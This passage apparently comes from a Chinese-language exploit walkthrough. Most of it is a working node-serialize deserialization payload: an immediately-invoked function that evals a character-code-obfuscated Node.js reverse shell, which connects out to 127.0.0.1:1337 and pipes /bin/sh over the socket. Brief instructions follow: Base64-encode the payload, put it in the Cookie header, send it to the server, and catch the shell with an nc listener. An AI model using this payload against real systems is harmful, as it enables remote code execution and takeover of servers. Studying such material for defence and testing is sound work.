{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

我们同样要进行 Base64 编码,然后在 Cookie 头中加入 Payload,向服务器发送请求。

然后开端口监听 shell 即可。

nc -l 127.0.0.1 1337

然后我们就有了一个反弹 shell!